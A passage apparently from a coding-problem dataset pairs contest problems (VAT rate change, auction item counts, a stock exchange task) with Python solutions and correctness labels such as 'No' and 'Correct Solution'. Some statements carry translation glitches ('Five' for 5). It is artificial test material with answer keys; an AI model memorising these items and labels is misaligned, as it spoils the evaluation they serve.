99 1 999
98 99 999
1 99 11
99 1 12
0 0 0
Output for the Sample Input
109
103
24
24
26
27
225
116
62
111
230
1972
508
1004
20
7
Hints
In the following table, an instance of a before-tax price pair that has the maximum after-tax price after the VAT-rate change is given for each dataset of the sample input.
Dataset| Before-tax prices| After-tax price with y% VAT
---|---|---
5 8 105 | 13, 88| 14 + 95 = 109
8 5 105 | 12, 87| 12 + 91 = 103
1 2 24 | 1, 23| 1 + 23 = 24
99 98 24 | 1, 12| 1 + 23 = 24
12 13 26 | 1, 23| 1 + 25 = 26
1 22 23 | 1, 22| 1 + 26 = 27
1 13 201 | 1,199| 1 +224 = 225
13 16 112| 25, 75| 29 + 87 = 116
2 24 50 | 25, 25| 31 + 31 = 62
1 82 61 | 11, 50| 20 + 91 = 111
1 84 125 | 50, 75| 92 +138 = 230
1 99 999 | 92,899| 183+1789 =1972
99 1 999 | 1,502| 1 +507 = 508
98 99 999| 5,500| 9 +995 =1004
1 99 11 | 1, 10| 1 + 19 = 20
99 1 12 | 1, 6| 1 + 6 = 7
Example
Input
5 8 105
8 5 105
1 2 24
99 98 24
12 13 26
1 22 23
1 13 201
13 16 112
2 24 50
1 82 61
1 84 125
1 99 999
99 1 999
98 99 999
1 99 11
99 1 12
0 0 0
Output
109
103
24
24
26
27
225
116
62
111
230
1972
508
1004
20
7
Submitted Solution:
```
if __name__ == "__main__":
while 1:
x,y,z = list(map(int,input().strip().split()))
if x ==0 and y ==0 and z ==0:break
data = []
for i in range(1,z):
t1 = i + int(i * x/100)
for j in range(1,z):
t2 = j + int(j * (x/100))
if t1 + t2 == z:data.append([i,j])
ans = 0
for k in data:
temp = k[0] + int(k[0]* (y/100)) + k[1] + int(k[1]* y/100)
if temp > ans: ans = temp
print(ans)
``` | instruction | 0 | 53,007 | 10 | 106,014 |
No | output | 1 | 53,007 | 10 | 106,015 |
Evaluate the correctness of the submitted Python 3 solution to the coding contest problem. Provide a "Yes" or "No" response.
Tax Rate Changed
VAT (value-added tax) is a tax imposed at a certain rate proportional to the sale price.
Our store uses the following rules to calculate the after-tax prices.
* When the VAT rate is x%, for an item with the before-tax price of p yen, its after-tax price of the item is p (100+x) / 100 yen, fractions rounded off.
* The total after-tax price of multiple items paid at once is the sum of after-tax prices of the items.
The VAT rate is changed quite often. Our accountant has become aware that "different pairs of items that had the same total after-tax price may have different total after-tax prices after VAT rate changes." For example, when the VAT rate rises from 5% to 8%, a pair of items that had the total after-tax prices of 105 yen before can now have after-tax prices either of 107, 108, or 109 yen, as shown in the table below.
Before-tax prices of two items| After-tax price with 5% VAT| After-tax price with 8% VAT
---|---|---
20, 80| 21 + 84 = 105| 21 + 86 = 107
2, 99| 2 + 103 = 105| 2 + 106 = 108
13, 88| 13 + 92 = 105| 14 + 95 = 109
Our accountant is examining effects of VAT-rate changes on after-tax prices. You are asked to write a program that calculates the possible maximum total after-tax price of two items with the new VAT rate, knowing their total after-tax price before the VAT rate change.
Input
The input consists of multiple datasets. Each dataset is in one line, which consists of three integers x, y, and s separated by a space. x is the VAT rate in percent before the VAT-rate change, y is the VAT rate in percent after the VAT-rate change, and s is the sum of after-tax prices of two items before the VAT-rate change. For these integers, 0 < x < 100, 0 < y < 100, 10 < s < 1000, and x ≠ y hold. For before-tax prices of items, all possibilities of 1 yen through s-1 yen should be considered.
The end of the input is specified by three zeros separated by a space.
Output
For each dataset, output in a line the possible maximum total after-tax price when the VAT rate is changed to y%.
Sample Input
5 8 105
8 5 105
1 2 24
99 98 24
12 13 26
1 22 23
1 13 201
13 16 112
2 24 50
1 82 61
1 84 125
1 99 999
99 1 999
98 99 999
1 99 11
99 1 12
0 0 0
Output for the Sample Input
109
103
24
24
26
27
225
116
62
111
230
1972
508
1004
20
7
Hints
In the following table, an instance of a before-tax price pair that has the maximum after-tax price after the VAT-rate change is given for each dataset of the sample input.
Dataset| Before-tax prices| After-tax price with y% VAT
---|---|---
5 8 105 | 13, 88| 14 + 95 = 109
8 5 105 | 12, 87| 12 + 91 = 103
1 2 24 | 1, 23| 1 + 23 = 24
99 98 24 | 1, 12| 1 + 23 = 24
12 13 26 | 1, 23| 1 + 25 = 26
1 22 23 | 1, 22| 1 + 26 = 27
1 13 201 | 1,199| 1 +224 = 225
13 16 112| 25, 75| 29 + 87 = 116
2 24 50 | 25, 25| 31 + 31 = 62
1 82 61 | 11, 50| 20 + 91 = 111
1 84 125 | 50, 75| 92 +138 = 230
1 99 999 | 92,899| 183+1789 =1972
99 1 999 | 1,502| 1 +507 = 508
98 99 999| 5,500| 9 +995 =1004
1 99 11 | 1, 10| 1 + 19 = 20
99 1 12 | 1, 6| 1 + 6 = 7
Example
Input
5 8 105
8 5 105
1 2 24
99 98 24
12 13 26
1 22 23
1 13 201
13 16 112
2 24 50
1 82 61
1 84 125
1 99 999
99 1 999
98 99 999
1 99 11
99 1 12
0 0 0
Output
109
103
24
24
26
27
225
116
62
111
230
1972
508
1004
20
7
Submitted Solution:
```
g = lambda rate, price: price * (100 + rate) // 100
while True:
x, y, s = map(int, input().split())
if x == y == s == 0:
break
maximum = -1
for i in range(1, s):
for j in range(1, s):
if g(x, i) + g(x, j) == s:
maximum = max(maximum, g(y, i) + g(y, j))
print(maximum)
``` | instruction | 0 | 53,008 | 10 | 106,016 |
No | output | 1 | 53,008 | 10 | 106,017 |
Provide a correct Python 3 solution for this coding contest problem.
Auction
square1001 You were watching a certain auction.
An auction is a transaction in which when there are a large number of buyers and the number of items is limited, the one with the highest price is given the right to buy. (From the 7th edition of the Shinmei Kokugo Dictionary)
The rules of the auction here are as follows.
1. Repeat steps 2 to 6 below until the item is exhausted.
2. Bring out new items and show them to customers
3. One of the customers puts the item at the price they like
4. Price higher than the price currently on the item by one of the customers
5. Repeat step 4 until there are no more customers to perform the action of 4.
6. The customer who puts the highest price on the item wins the bid
square1001 You recorded all the prices attached to the items during this auction in chronological order.
According to the record, $ N $ items are priced, starting from the beginning with $ A_1, A_2, A_3, \ dots, A_N $.
E869120 You are wondering how many items were put up for sale in this auction.
square1001 From the list you made, find the minimum and maximum possible number of items for sale in this auction.
input
Input is given from standard input in the following format.
$ N $
$ A_1 $ $ A_2 $ $ A_3 $ $ \ cdots $ $ A_N $
output
Please output the minimum and maximum possible number of items listed in this auction in this order, separated by line breaks.
However, insert a line break at the end.
Constraint
* $ 1 \ leq N \ leq 100000 \ (= 10 ^ 5) $
* $ 1 \ leq A_i \ leq 1000000000 \ (= 10 ^ 9) $
* All inputs are integers.
Input example 1
Five
8 6 9 1 20
Output example 1
3
Five
When three items are sold in order at price 8, price 9, and price 20, the minimum number of items is 3.
Input example 2
6
3 3 4 3 3 4
Output example 2
Four
6
Input example 3
8
5 5 4 4 3 3 2 2
Output example 3
8
8
Example
Input
5
8 6 9 1 20
Output
3
5 | instruction | 0 | 53,039 | 10 | 106,078 |
"Correct Solution:
```
N = int(input())
A = [int(x) for x in input().split()]
min = 1
max = N
for i in range(1, N):
if A[i] <= A[i - 1]:
min += 1
print(min)
print(max)
``` | output | 1 | 53,039 | 10 | 106,079 |
Provide a correct Python 3 solution for this coding contest problem.
Auction
square1001 You were watching a certain auction.
An auction is a transaction in which when there are a large number of buyers and the number of items is limited, the one with the highest price is given the right to buy. (From the 7th edition of the Shinmei Kokugo Dictionary)
The rules of the auction here are as follows.
1. Repeat steps 2 to 6 below until the item is exhausted.
2. Bring out new items and show them to customers
3. One of the customers puts the item at the price they like
4. Price higher than the price currently on the item by one of the customers
5. Repeat step 4 until there are no more customers to perform the action of 4.
6. The customer who puts the highest price on the item wins the bid
square1001 You recorded all the prices attached to the items during this auction in chronological order.
According to the record, $ N $ items are priced, starting from the beginning with $ A_1, A_2, A_3, \ dots, A_N $.
E869120 You are wondering how many items were put up for sale in this auction.
square1001 From the list you made, find the minimum and maximum possible number of items for sale in this auction.
input
Input is given from standard input in the following format.
$ N $
$ A_1 $ $ A_2 $ $ A_3 $ $ \ cdots $ $ A_N $
output
Please output the minimum and maximum possible number of items listed in this auction in this order, separated by line breaks.
However, insert a line break at the end.
Constraint
* $ 1 \ leq N \ leq 100000 \ (= 10 ^ 5) $
* $ 1 \ leq A_i \ leq 1000000000 \ (= 10 ^ 9) $
* All inputs are integers.
Input example 1
Five
8 6 9 1 20
Output example 1
3
Five
When three items are sold in order at price 8, price 9, and price 20, the minimum number of items is 3.
Input example 2
6
3 3 4 3 3 4
Output example 2
Four
6
Input example 3
8
5 5 4 4 3 3 2 2
Output example 3
8
8
Example
Input
5
8 6 9 1 20
Output
3
5 | instruction | 0 | 53,040 | 10 | 106,080 |
"Correct Solution:
```
from itertools import *
from bisect import *
from math import *
from collections import *
from heapq import *
from random import *
import sys
sys.setrecursionlimit(10 ** 6)
int1 = lambda x: int(x) - 1
p2D = lambda x: print(*x, sep="\n")
def II(): return int(sys.stdin.readline())
def MI(): return map(int, sys.stdin.readline().split())
def MI1(): return map(int1, sys.stdin.readline().split())
def MF(): return map(float, sys.stdin.readline().split())
def LI(): return list(map(int, sys.stdin.readline().split()))
def LI1(): return list(map(int1, sys.stdin.readline().split()))
def LF(): return list(map(float, sys.stdin.readline().split()))
def LLI(rows_number): return [LI() for _ in range(rows_number)]
dij = [(1, 0), (0, 1), (-1, 0), (0, -1)]
def main():
n=II()
aa=LI()
mn=1
for a0,a1 in zip(aa,aa[1:]):
if a0>=a1:mn+=1
print(mn)
print(n)
main()
``` | output | 1 | 53,040 | 10 | 106,081 |
Provide a correct Python 3 solution for this coding contest problem.
Auction
square1001 You were watching a certain auction.
An auction is a transaction in which when there are a large number of buyers and the number of items is limited, the one with the highest price is given the right to buy. (From the 7th edition of the Shinmei Kokugo Dictionary)
The rules of the auction here are as follows.
1. Repeat steps 2 to 6 below until the item is exhausted.
2. Bring out new items and show them to customers
3. One of the customers puts the item at the price they like
4. Price higher than the price currently on the item by one of the customers
5. Repeat step 4 until there are no more customers to perform the action of 4.
6. The customer who puts the highest price on the item wins the bid
square1001 You recorded all the prices attached to the items during this auction in chronological order.
According to the record, $ N $ items are priced, starting from the beginning with $ A_1, A_2, A_3, \ dots, A_N $.
E869120 You are wondering how many items were put up for sale in this auction.
square1001 From the list you made, find the minimum and maximum possible number of items for sale in this auction.
input
Input is given from standard input in the following format.
$ N $
$ A_1 $ $ A_2 $ $ A_3 $ $ \ cdots $ $ A_N $
output
Please output the minimum and maximum possible number of items listed in this auction in this order, separated by line breaks.
However, insert a line break at the end.
Constraint
* $ 1 \ leq N \ leq 100000 \ (= 10 ^ 5) $
* $ 1 \ leq A_i \ leq 1000000000 \ (= 10 ^ 9) $
* All inputs are integers.
Input example 1
Five
8 6 9 1 20
Output example 1
3
Five
When three items are sold in order at price 8, price 9, and price 20, the minimum number of items is 3.
Input example 2
6
3 3 4 3 3 4
Output example 2
Four
6
Input example 3
8
5 5 4 4 3 3 2 2
Output example 3
8
8
Example
Input
5
8 6 9 1 20
Output
3
5 | instruction | 0 | 53,041 | 10 | 106,082 |
"Correct Solution:
```
N = int(input())
A = [int(i) for i in input().split()]
ret = 0
for i in range(1, N) :
if A[i] <= A[i - 1] :
ret += 1
print(ret + 1)
print(N)
``` | output | 1 | 53,041 | 10 | 106,083 |
Provide a correct Python 3 solution for this coding contest problem.
Auction
square1001 You were watching a certain auction.
An auction is a transaction in which when there are a large number of buyers and the number of items is limited, the one with the highest price is given the right to buy. (From the 7th edition of the Shinmei Kokugo Dictionary)
The rules of the auction here are as follows.
1. Repeat steps 2 to 6 below until the item is exhausted.
2. Bring out new items and show them to customers
3. One of the customers puts the item at the price they like
4. Price higher than the price currently on the item by one of the customers
5. Repeat step 4 until there are no more customers to perform the action of 4.
6. The customer who puts the highest price on the item wins the bid
square1001 You recorded all the prices attached to the items during this auction in chronological order.
According to the record, $ N $ items are priced, starting from the beginning with $ A_1, A_2, A_3, \ dots, A_N $.
E869120 You are wondering how many items were put up for sale in this auction.
square1001 From the list you made, find the minimum and maximum possible number of items for sale in this auction.
input
Input is given from standard input in the following format.
$ N $
$ A_1 $ $ A_2 $ $ A_3 $ $ \ cdots $ $ A_N $
output
Please output the minimum and maximum possible number of items listed in this auction in this order, separated by line breaks.
However, insert a line break at the end.
Constraint
* $ 1 \ leq N \ leq 100000 \ (= 10 ^ 5) $
* $ 1 \ leq A_i \ leq 1000000000 \ (= 10 ^ 9) $
* All inputs are integers.
Input example 1
Five
8 6 9 1 20
Output example 1
3
Five
When three items are sold in order at price 8, price 9, and price 20, the minimum number of items is 3.
Input example 2
6
3 3 4 3 3 4
Output example 2
Four
6
Input example 3
8
5 5 4 4 3 3 2 2
Output example 3
8
8
Example
Input
5
8 6 9 1 20
Output
3
5 | instruction | 0 | 53,042 | 10 | 106,084 |
"Correct Solution:
```
n = int(input())
a = list(map(int,input().split()))
count = 0
for i in range (1,n):
if a[i-1] >= a[i]:
count += 1
print(count+1)
print(n)
``` | output | 1 | 53,042 | 10 | 106,085 |
Provide a correct Python 3 solution for this coding contest problem.
Auction
square1001 You were watching a certain auction.
An auction is a transaction in which when there are a large number of buyers and the number of items is limited, the one with the highest price is given the right to buy. (From the 7th edition of the Shinmei Kokugo Dictionary)
The rules of the auction here are as follows.
1. Repeat steps 2 to 6 below until the item is exhausted.
2. Bring out new items and show them to customers
3. One of the customers puts the item at the price they like
4. Price higher than the price currently on the item by one of the customers
5. Repeat step 4 until there are no more customers to perform the action of 4.
6. The customer who puts the highest price on the item wins the bid
square1001 You recorded all the prices attached to the items during this auction in chronological order.
According to the record, $ N $ items are priced, starting from the beginning with $ A_1, A_2, A_3, \ dots, A_N $.
E869120 You are wondering how many items were put up for sale in this auction.
square1001 From the list you made, find the minimum and maximum possible number of items for sale in this auction.
input
Input is given from standard input in the following format.
$ N $
$ A_1 $ $ A_2 $ $ A_3 $ $ \ cdots $ $ A_N $
output
Please output the minimum and maximum possible number of items listed in this auction in this order, separated by line breaks.
However, insert a line break at the end.
Constraint
* $ 1 \ leq N \ leq 100000 \ (= 10 ^ 5) $
* $ 1 \ leq A_i \ leq 1000000000 \ (= 10 ^ 9) $
* All inputs are integers.
Input example 1
Five
8 6 9 1 20
Output example 1
3
Five
When three items are sold in order at price 8, price 9, and price 20, the minimum number of items is 3.
Input example 2
6
3 3 4 3 3 4
Output example 2
Four
6
Input example 3
8
5 5 4 4 3 3 2 2
Output example 3
8
8
Example
Input
5
8 6 9 1 20
Output
3
5 | instruction | 0 | 53,043 | 10 | 106,086 |
"Correct Solution:
```
N=int(input())
A=list(map(int,input().split()))
a_min=1
for i in range(1,N):
if A[i]<=A[i-1]:
a_min+=1
print(a_min)
print(N)
``` | output | 1 | 53,043 | 10 | 106,087 |
Provide a correct Python 3 solution for this coding contest problem.
Auction
square1001 You were watching a certain auction.
An auction is a transaction in which when there are a large number of buyers and the number of items is limited, the one with the highest price is given the right to buy. (From the 7th edition of the Shinmei Kokugo Dictionary)
The rules of the auction here are as follows.
1. Repeat steps 2 to 6 below until the item is exhausted.
2. Bring out new items and show them to customers
3. One of the customers puts the item at the price they like
4. Price higher than the price currently on the item by one of the customers
5. Repeat step 4 until there are no more customers to perform the action of 4.
6. The customer who puts the highest price on the item wins the bid
square1001 You recorded all the prices attached to the items during this auction in chronological order.
According to the record, $ N $ items are priced, starting from the beginning with $ A_1, A_2, A_3, \ dots, A_N $.
E869120 You are wondering how many items were put up for sale in this auction.
square1001 From the list you made, find the minimum and maximum possible number of items for sale in this auction.
input
Input is given from standard input in the following format.
$ N $
$ A_1 $ $ A_2 $ $ A_3 $ $ \ cdots $ $ A_N $
output
Please output the minimum and maximum possible number of items listed in this auction in this order, separated by line breaks.
However, insert a line break at the end.
Constraint
* $ 1 \ leq N \ leq 100000 \ (= 10 ^ 5) $
* $ 1 \ leq A_i \ leq 1000000000 \ (= 10 ^ 9) $
* All inputs are integers.
Input example 1
Five
8 6 9 1 20
Output example 1
3
Five
When three items are sold in order at price 8, price 9, and price 20, the minimum number of items is 3.
Input example 2
6
3 3 4 3 3 4
Output example 2
Four
6
Input example 3
8
5 5 4 4 3 3 2 2
Output example 3
8
8
Example
Input
5
8 6 9 1 20
Output
3
5 | instruction | 0 | 53,044 | 10 | 106,088 |
"Correct Solution:
```
def num():
return int(input())
def nums():
return list(map(int,input().split()))
"""
A,B = nums()
P,Q,R = nums()
first_distance = P * B
pre_runned = (B - A) * Q
time = B + (first_distance - pre_runned) / (R + Q)
print(time)
"""
"""
N = num()
randoms = nums()
ans = 0
for i in range(N):
today = randoms[i]
if i == 0:
continue
if today > randoms[i-1]:
ans += 1
print(ans)
"""
"""
N = num()
members = []
for i in range(N):
members.append(input())
ans = members.count("E869120")
print(ans)
"""
"""
N = num()
V = nums()
V.sort(reverse=True)
ans = 0
for i in range(N):
Vi = V[i]
ans += (Vi - i -1)
print(ans)
"""
N = num()
A = nums()
ans_max = N
ans_min = 0
old_i = 0
for i in A:
if not i > old_i:
ans_min += 1
old_i = i
ans_min += 1
print(ans_min)
print(ans_max)
``` | output | 1 | 53,044 | 10 | 106,089 |
Provide a correct Python 3 solution for this coding contest problem.
Auction
square1001 You were watching a certain auction.
An auction is a transaction in which when there are a large number of buyers and the number of items is limited, the one with the highest price is given the right to buy. (From the 7th edition of the Shinmei Kokugo Dictionary)
The rules of the auction here are as follows.
1. Repeat steps 2 to 6 below until the item is exhausted.
2. Bring out new items and show them to customers
3. One of the customers puts the item at the price they like
4. Price higher than the price currently on the item by one of the customers
5. Repeat step 4 until there are no more customers to perform the action of 4.
6. The customer who puts the highest price on the item wins the bid
square1001 You recorded all the prices attached to the items during this auction in chronological order.
According to the record, $ N $ items are priced, starting from the beginning with $ A_1, A_2, A_3, \ dots, A_N $.
E869120 You are wondering how many items were put up for sale in this auction.
square1001 From the list you made, find the minimum and maximum possible number of items for sale in this auction.
input
Input is given from standard input in the following format.
$ N $
$ A_1 $ $ A_2 $ $ A_3 $ $ \ cdots $ $ A_N $
output
Please output the minimum and maximum possible number of items listed in this auction in this order, separated by line breaks.
However, insert a line break at the end.
Constraint
* $ 1 \ leq N \ leq 100000 \ (= 10 ^ 5) $
* $ 1 \ leq A_i \ leq 1000000000 \ (= 10 ^ 9) $
* All inputs are integers.
Input example 1
Five
8 6 9 1 20
Output example 1
3
Five
When three items are sold in order at price 8, price 9, and price 20, the minimum number of items is 3.
Input example 2
6
3 3 4 3 3 4
Output example 2
Four
6
Input example 3
8
5 5 4 4 3 3 2 2
Output example 3
8
8
Example
Input
5
8 6 9 1 20
Output
3
5 | instruction | 0 | 53,045 | 10 | 106,090 |
"Correct Solution:
```
n=int(input())
a=list(map(int, input().split()))
ans=1
for i in range(n-1):
if a[i]>=a[i+1]:
ans+=1
print(ans)
print(n)
``` | output | 1 | 53,045 | 10 | 106,091 |
Provide a correct Python 3 solution for this coding contest problem.
Auction
square1001 You were watching a certain auction.
An auction is a transaction in which when there are a large number of buyers and the number of items is limited, the one with the highest price is given the right to buy. (From the 7th edition of the Shinmei Kokugo Dictionary)
The rules of the auction here are as follows.
1. Repeat steps 2 to 6 below until the item is exhausted.
2. Bring out new items and show them to customers
3. One of the customers puts the item at the price they like
4. Price higher than the price currently on the item by one of the customers
5. Repeat step 4 until there are no more customers to perform the action of 4.
6. The customer who puts the highest price on the item wins the bid
square1001 You recorded all the prices attached to the items during this auction in chronological order.
According to the record, $ N $ items are priced, starting from the beginning with $ A_1, A_2, A_3, \ dots, A_N $.
E869120 You are wondering how many items were put up for sale in this auction.
square1001 From the list you made, find the minimum and maximum possible number of items for sale in this auction.
input
Input is given from standard input in the following format.
$ N $
$ A_1 $ $ A_2 $ $ A_3 $ $ \ cdots $ $ A_N $
output
Please output the minimum and maximum possible number of items listed in this auction in this order, separated by line breaks.
However, insert a line break at the end.
Constraint
* $ 1 \ leq N \ leq 100000 \ (= 10 ^ 5) $
* $ 1 \ leq A_i \ leq 1000000000 \ (= 10 ^ 9) $
* All inputs are integers.
Input example 1
Five
8 6 9 1 20
Output example 1
3
Five
When three items are sold in order at price 8, price 9, and price 20, the minimum number of items is 3.
Input example 2
6
3 3 4 3 3 4
Output example 2
Four
6
Input example 3
8
5 5 4 4 3 3 2 2
Output example 3
8
8
Example
Input
5
8 6 9 1 20
Output
3
5 | instruction | 0 | 53,046 | 10 | 106,092 |
"Correct Solution:
```
n = int(input())
v = list(map(int,input().split()))
cnt = 1
for i in range(n-1):
if v[i+1]<=v[i]:
cnt+=1
print(cnt)
print(n)
``` | output | 1 | 53,046 | 10 | 106,093 |
Provide tags and a correct Python 3 solution for this coding contest problem.
Welcome to Codeforces Stock Exchange! We're pretty limited now as we currently allow trading on one stock, Codeforces Ltd. We hope you'll still be able to make profit from the market!
In the morning, there are n opportunities to buy shares. The i-th of them allows to buy as many shares as you want, each at the price of s_i bourles.
In the evening, there are m opportunities to sell shares. The i-th of them allows to sell as many shares as you want, each at the price of b_i bourles. You can't sell more shares than you have.
It's morning now and you possess r bourles and no shares.
What is the maximum number of bourles you can hold after the evening?
Input
The first line of the input contains three integers n, m, r (1 ≤ n ≤ 30, 1 ≤ m ≤ 30, 1 ≤ r ≤ 1000) — the number of ways to buy the shares on the market, the number of ways to sell the shares on the market, and the number of bourles you hold now.
The next line contains n integers s_1, s_2, ..., s_n (1 ≤ s_i ≤ 1000); s_i indicates the opportunity to buy shares at the price of s_i bourles.
The following line contains m integers b_1, b_2, ..., b_m (1 ≤ b_i ≤ 1000); b_i indicates the opportunity to sell shares at the price of b_i bourles.
Output
Output a single integer — the maximum number of bourles you can hold after the evening.
Examples
Input
3 4 11
4 2 5
4 4 5 4
Output
26
Input
2 2 50
5 7
4 2
Output
50
Note
In the first example test, you have 11 bourles in the morning. It's optimal to buy 5 shares of a stock at the price of 2 bourles in the morning, and then to sell all of them at the price of 5 bourles in the evening. It's easy to verify that you'll have 26 bourles after the evening.
In the second example test, it's optimal not to take any action. | instruction | 0 | 53,969 | 10 | 107,938 |
Tags: greedy, implementation
Correct Solution:
```
temp = input().split(" ")
n = int(temp[0])
m = int(temp[1])
byr = int(temp[2])
s = input().split(" ")
b = input().split(" ")
s = [int(item) for item in s]
b = [int(item) for item in b]
s.sort()
b.sort(reverse=True)
max_tickets = int(byr/s[0])
byed = []
for tickets in range(max_tickets + 1):
byr_now = byr
byr_now -= int(s[0]*tickets)
byr_now += b[0]*tickets
byed.append(byr_now)
byed.sort(reverse=True)
print(byed[0])
``` | output | 1 | 53,969 | 10 | 107,939 |
Provide tags and a correct Python 3 solution for this coding contest problem.
Welcome to Codeforces Stock Exchange! We're pretty limited now as we currently allow trading on one stock, Codeforces Ltd. We hope you'll still be able to make profit from the market!
In the morning, there are n opportunities to buy shares. The i-th of them allows to buy as many shares as you want, each at the price of s_i bourles.
In the evening, there are m opportunities to sell shares. The i-th of them allows to sell as many shares as you want, each at the price of b_i bourles. You can't sell more shares than you have.
It's morning now and you possess r bourles and no shares.
What is the maximum number of bourles you can hold after the evening?
Input
The first line of the input contains three integers n, m, r (1 ≤ n ≤ 30, 1 ≤ m ≤ 30, 1 ≤ r ≤ 1000) — the number of ways to buy the shares on the market, the number of ways to sell the shares on the market, and the number of bourles you hold now.
The next line contains n integers s_1, s_2, ..., s_n (1 ≤ s_i ≤ 1000); s_i indicates the opportunity to buy shares at the price of s_i bourles.
The following line contains m integers b_1, b_2, ..., b_m (1 ≤ b_i ≤ 1000); b_i indicates the opportunity to sell shares at the price of b_i bourles.
Output
Output a single integer — the maximum number of bourles you can hold after the evening.
Examples
Input
3 4 11
4 2 5
4 4 5 4
Output
26
Input
2 2 50
5 7
4 2
Output
50
Note
In the first example test, you have 11 bourles in the morning. It's optimal to buy 5 shares of a stock at the price of 2 bourles in the morning, and then to sell all of them at the price of 5 bourles in the evening. It's easy to verify that you'll have 26 bourles after the evening.
In the second example test, it's optimal not to take any action. | instruction | 0 | 53,970 | 10 | 107,940 |
Tags: greedy, implementation
Correct Solution:
```
n, m, r = map(int, input().split())
s = [int(i) for i in input().split()]
b = [int(i) for i in input().split()]
ans = 0
for i in range(n):
for j in range(m):
ans = max(((r // s[i]) * b[j]) - ((r // s[i]) * s[i]), ans)
print(ans + r)
``` | output | 1 | 53,970 | 10 | 107,941 |
Provide tags and a correct Python 3 solution for this coding contest problem.
Welcome to Codeforces Stock Exchange! We're pretty limited now as we currently allow trading on one stock, Codeforces Ltd. We hope you'll still be able to make profit from the market!
In the morning, there are n opportunities to buy shares. The i-th of them allows to buy as many shares as you want, each at the price of s_i bourles.
In the evening, there are m opportunities to sell shares. The i-th of them allows to sell as many shares as you want, each at the price of b_i bourles. You can't sell more shares than you have.
It's morning now and you possess r bourles and no shares.
What is the maximum number of bourles you can hold after the evening?
Input
The first line of the input contains three integers n, m, r (1 ≤ n ≤ 30, 1 ≤ m ≤ 30, 1 ≤ r ≤ 1000) — the number of ways to buy the shares on the market, the number of ways to sell the shares on the market, and the number of bourles you hold now.
The next line contains n integers s_1, s_2, ..., s_n (1 ≤ s_i ≤ 1000); s_i indicates the opportunity to buy shares at the price of s_i bourles.
The following line contains m integers b_1, b_2, ..., b_m (1 ≤ b_i ≤ 1000); b_i indicates the opportunity to sell shares at the price of b_i bourles.
Output
Output a single integer — the maximum number of bourles you can hold after the evening.
Examples
Input
3 4 11
4 2 5
4 4 5 4
Output
26
Input
2 2 50
5 7
4 2
Output
50
Note
In the first example test, you have 11 bourles in the morning. It's optimal to buy 5 shares of a stock at the price of 2 bourles in the morning, and then to sell all of them at the price of 5 bourles in the evening. It's easy to verify that you'll have 26 bourles after the evening.
In the second example test, it's optimal not to take any action. | instruction | 0 | 53,971 | 10 | 107,942 |
Tags: greedy, implementation
Correct Solution:
```
a,b,c = [*map(int,(input().split()))]
buy=[*map(int,input().split())]
sell=[*map(int,input().split())]
a=min(buy)
b=max(sell)
if(b<=a):
print(c)
else:
no_of_shares=c//a
remainder=c%a
sell_money= b*no_of_shares
total_money=sell_money+remainder
print(total_money)
``` | output | 1 | 53,971 | 10 | 107,943 |
Provide tags and a correct Python 3 solution for this coding contest problem.
Welcome to Codeforces Stock Exchange! We're pretty limited now as we currently allow trading on one stock, Codeforces Ltd. We hope you'll still be able to make profit from the market!
In the morning, there are n opportunities to buy shares. The i-th of them allows to buy as many shares as you want, each at the price of s_i bourles.
In the evening, there are m opportunities to sell shares. The i-th of them allows to sell as many shares as you want, each at the price of b_i bourles. You can't sell more shares than you have.
It's morning now and you possess r bourles and no shares.
What is the maximum number of bourles you can hold after the evening?
Input
The first line of the input contains three integers n, m, r (1 ≤ n ≤ 30, 1 ≤ m ≤ 30, 1 ≤ r ≤ 1000) — the number of ways to buy the shares on the market, the number of ways to sell the shares on the market, and the number of bourles you hold now.
The next line contains n integers s_1, s_2, ..., s_n (1 ≤ s_i ≤ 1000); s_i indicates the opportunity to buy shares at the price of s_i bourles.
The following line contains m integers b_1, b_2, ..., b_m (1 ≤ b_i ≤ 1000); b_i indicates the opportunity to sell shares at the price of b_i bourles.
Output
Output a single integer — the maximum number of bourles you can hold after the evening.
Examples
Input
3 4 11
4 2 5
4 4 5 4
Output
26
Input
2 2 50
5 7
4 2
Output
50
Note
In the first example test, you have 11 bourles in the morning. It's optimal to buy 5 shares of a stock at the price of 2 bourles in the morning, and then to sell all of them at the price of 5 bourles in the evening. It's easy to verify that you'll have 26 bourles after the evening.
In the second example test, it's optimal not to take any action. | instruction | 0 | 53,972 | 10 | 107,944 |
Tags: greedy, implementation
Correct Solution:
```
n, m, r = map(int, input().split())
a = list(map(int, input().split()))
b = list(map(int, input().split()))
a.sort()
b.sort(reverse = True)
if a[0] >= b[0]:
print(r)
exit()
q = r // a[0]
r -= q * a[0]
r += q * b[0]
print(r)
``` | output | 1 | 53,972 | 10 | 107,945 |
Provide tags and a correct Python 3 solution for this coding contest problem.
Welcome to Codeforces Stock Exchange! We're pretty limited now as we currently allow trading on one stock, Codeforces Ltd. We hope you'll still be able to make profit from the market!
In the morning, there are n opportunities to buy shares. The i-th of them allows to buy as many shares as you want, each at the price of s_i bourles.
In the evening, there are m opportunities to sell shares. The i-th of them allows to sell as many shares as you want, each at the price of b_i bourles. You can't sell more shares than you have.
It's morning now and you possess r bourles and no shares.
What is the maximum number of bourles you can hold after the evening?
Input
The first line of the input contains three integers n, m, r (1 ≤ n ≤ 30, 1 ≤ m ≤ 30, 1 ≤ r ≤ 1000) — the number of ways to buy the shares on the market, the number of ways to sell the shares on the market, and the number of bourles you hold now.
The next line contains n integers s_1, s_2, ..., s_n (1 ≤ s_i ≤ 1000); s_i indicates the opportunity to buy shares at the price of s_i bourles.
The following line contains m integers b_1, b_2, ..., b_m (1 ≤ b_i ≤ 1000); b_i indicates the opportunity to sell shares at the price of b_i bourles.
Output
Output a single integer — the maximum number of bourles you can hold after the evening.
Examples
Input
3 4 11
4 2 5
4 4 5 4
Output
26
Input
2 2 50
5 7
4 2
Output
50
Note
In the first example test, you have 11 bourles in the morning. It's optimal to buy 5 shares of a stock at the price of 2 bourles in the morning, and then to sell all of them at the price of 5 bourles in the evening. It's easy to verify that you'll have 26 bourles after the evening.
In the second example test, it's optimal not to take any action. | instruction | 0 | 53,973 | 10 | 107,946 |
Tags: greedy, implementation
Correct Solution:
```
import math,string,itertools,fractions,heapq,collections,re,array,bisect,sys,copy,functools
import random
sys.setrecursionlimit(10**7)
inf = 10**20
eps = 1.0 / 10**10
mod = 10**9+7
dd = [(-1,0),(0,1),(1,0),(0,-1)]
ddn = [(-1,0),(-1,1),(0,1),(1,1),(1,0),(1,-1),(0,-1),(-1,-1)]
def LI(): return list(map(int, sys.stdin.readline().split()))
def LLI(): return [list(map(int, l.split())) for l in sys.stdin.readlines()]
def LI_(): return [int(x)-1 for x in sys.stdin.readline().split()]
def LF(): return [float(x) for x in sys.stdin.readline().split()]
